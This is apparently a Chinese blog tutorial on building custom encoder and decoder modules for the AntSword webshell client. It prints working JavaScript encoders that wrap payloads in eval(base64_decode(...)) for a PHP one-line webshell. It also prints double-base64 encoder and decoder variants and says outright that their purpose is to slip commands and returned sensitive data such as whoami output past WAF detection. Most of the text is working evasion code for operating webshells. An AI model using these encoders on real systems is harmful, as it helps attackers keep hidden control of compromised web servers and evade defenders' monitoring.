LOADING

正在加载

中国蚁剑的编码和解码模块

壹 前言

之前一直不知道蚁剑的编码器和解码器有什么用,后来看一篇文章,才知道,原来可以通过对蚁剑的编码器和解码器对webshell进行改造过WAF,然后就开始找各种资料学习,下面是对这两个模块学习的心得!

贰 编码模块

以蚁剑的base64编码器为例子。创建一个base64模块:
4b8a5a0573950babdd78c740eca9f2cc.png

/**
 * php::base64编码器
 * Create at: 2022/07/10 22:27:09
 */

'use strict';

/*
* @param  {String} pwd   连接密码
* @param  {Array}  data  编码器处理前的 payload 数组
* @return {Array}  data  编码器处理后的 payload 数组
*/
module.exports = (pwd, data, ext={}) => {
  // ##########    请在下方编写你自己的代码   ###################
  // 以下代码为 PHP Base64 样例

  // 生成一个随机变量名
  let randomID = `_0x${Math.random().toString(16).substr(2)}`;
  // 原有的 payload 在 data['_']中
  // 取出来之后,转为 base64 编码并放入 randomID key 下
  data[randomID] = Buffer.from(data['_']).toString('base64');

  // shell 在接收到 payload 后,先处理 pwd 参数下的内容,
  data[pwd] = `eval(base64_decode($_POST[${randomID}]));`;

  // ##########    请在上方编写你自己的代码   ###################

  // 删除 _ 原有的payload
  delete `data['_'];`
  // 返回编码器处理后的 payload 数组
  return data;
}

这是蚁剑的base64编码的默认代码,我们使用简单的PHP一句话木马通过刚刚创建的编码器进行连接,并抓包效果如下:
ae6cd5886241f381ff834a2d2acb17e1.png
可以发现,数据包分为两部分,一部分是随机变量(例子中的_0xb928a21aee0de),另一部分是木马的密码(例子中的cmd),在刚刚创建的编码器中模板已经说明了,二个传递参数和返回值的作用,我们来具体分析:

let randomID = `_0x${Math.random().toString(16).substr(2)}`;

这一段是生成一个随机的变量名,也就是例子中的_0xb928a21aee0de,存在randomID这个变量里

data[randomID] = Buffer.from(data['_']).toString('base64');

这一段是对data['_'],也就是payload进行base64编码,并存在data这个数组的randomID键值里,(JS是弱语言,所以可以随便加键值对)

data[pwd] = `eval(base64_decode($_POST[${randomID}]));`;

这一段则是对randomID这个随机变量存储的payload进行base64解码,并执行新的一句话,并存储在data[pwd]中。

其实蚁剑最后会将data['_'];参数进行删除,就算在编码器内不删除,在蚁剑的源码内也会将data['_'];进行删除操作,即在source\core\base.js内可以看到:
6d7047b177da209a5a4b461dbb35cd9d.png
最后蚁剑都会执行data[pwd]的内容,所以关键就在data[pwd]这个键值对。当蚁剑传输给被控主机时,实际上是套娃,将data[pwd]传给服务端的一句话木马中,服务端的一句话木马执行蚁剑传过来的base64一句话木马,当执行完base64一句话木马后才是真正的payload。所以由于套娃,传入的是两部分参数,接着我们可以对其进行简单的双重base64编码,并且值设置一个参数。

如果我们只传一个参数,那么就需要在木马本身进行加密改造,也就是说取消了对payload的解码,让木马自身携带解码功能,即我们在木马上进行两次base64解码:
ee5a05d016d6b76bce57504163b1d4e1.png
然后修改编码器,:

/**
 * php::base64编码器
 * Create at: 2022/07/10 22:27:09
 */

'use strict';

/*
* @param  {String} pwd   连接密码
* @param  {Array}  data  编码器处理前的 payload 数组
* @return {Array}  data  编码器处理后的 payload 数组
*/
module.exports = (pwd, data, ext={}) => {
  // ##########    请在下方编写你自己的代码   ###################
  // 由于我们希望蚁剑传递的参数不需要解密,所以不用设置随机变量名,我们直接将编码后的payload赋值到data[pwd]中,就不需要进行随机变量名这个键值对了,注意我们是进行两次base64加密
  data['_'] = Buffer.from(data['_']).toString('base64');
  data[pwd] = Buffer.from(data['_']).toString('base64');

  // ##########    请在上方编写你自己的代码   ###################

  // 删除 _ 原有的payload
  delete data['_'];
  // 返回编码器处理后的 payload 数组
  return data;
}

可以看到进行了两次的base64编码:
f3a8ae83e9f33c714702717ae580cb59.png

叁 解码模块

需要注意编码模块和解码模块是分离开的,编码模块是执行命令到服务器上,防止WAF检测到恶意payload,但是执行完的信息在服务器上是明文的,而解码模块是将明文的信息进行编码传到蚁剑过程中防止WAF检测到敏感数据而进行的模块。并不是说需要用编码器将payload进行编码到了服务器上解码器进行解码。

在返回参数信息时,WAF检测流量会追踪一些敏感信息,例如whoami、内网IP等,这是我们可以对返回的敏感信息进行编码,传给蚁剑的时候进行解码。以base64解码器为例子:
4161d54b241504061b70d0c6eede4a07.png

/**
 * php::base64解码器
 * Create at: 2022/07/10 23:21:01
 */

'use strict';

module.exports = {
  /**
   * @returns {string} asenc 将返回数据base64编码
   * 自定义输出函数名称必须为 asenc
   * 该函数使用的语法需要和shell保持一致
   */
  asoutput: () => {
    return `function asenc($out){
      return @base64_encode($out);
    }
    `.replace(/\n\s+/g, '');
  },
  /**
   * 解码 Buffer
   * @param {string} data 要被解码的 Buffer
   * @returns {string} 解码后的 Buffer
   */
  decode_buff: (data, ext={}) => {
    return Buffer.from(data.toString(), 'base64');
  }
}

还是先抓包:
1ef691ce771facf047538404927cd65e.png
可以看见返回的信息在burp上是base64的,而在蚁剑的终端上明文的,而且与编码器没有任何关系。接着我们具体分析以下解码模块的代码。

asoutput: () => {
return `function asenc($out){
  return @base64_encode($out);
}
`.replace(/\n\s+/g, '');
},

这一部分是蚁剑的payload的返回值部分(关于蚁剑的payload这里不具体说明),我们需要关注的是return @base64_encode($out);这一部分,可以看到对返回蚁剑终端的信息进行了base64编码。

decode_buff: (data, ext={}) => {
    return Buffer.from(data.toString(), 'base64');
}

这一部分是在蚁剑的终端对返回的数据进行base64解码,假设我们将data.toString()直接返回,可以发现,终端是对信息进行了base64输出的:
73788db460306a1d16125551c26afdfb.png
09e37486913d3c1c1803975d29e53894.png
所以老样子,根据原理我们可以设置双重base64解码器,编码器代码:

/**
 * php::base64解码器
 * Create at: 2022/07/10 23:21:01
 */

'use strict';

module.exports = {
  /**
   * @returns {string} asenc 将返回数据base64编码
   * 自定义输出函数名称必须为 asenc
   * 该函数使用的语法需要和shell保持一致
   */
  asoutput: () => {
    return `function asenc($out){
      return @base64_encode(base64_encode($out));
    }
    `.replace(/\n\s+/g, '');
  },
  /**
   * 解码 Buffer
   * @param {string} data 要被解码的 Buffer
   * @returns {string} 解码后的 Buffer
   */
  decode_buff: (data, ext={}) => {
    let top1 = Buffer.from(data.toString(), 'base64');
    return Buffer.from(top1.toString(), 'base64');
  }
}

asoutput部分进行了双重base64编码,而decode_buff进行了双重base64解码,最后效果如下:
adfe88107ccbeabcd52e411d697f42d0.png

肆 参考

avatar
小C&天天

修学储能 先博后渊


今日诗句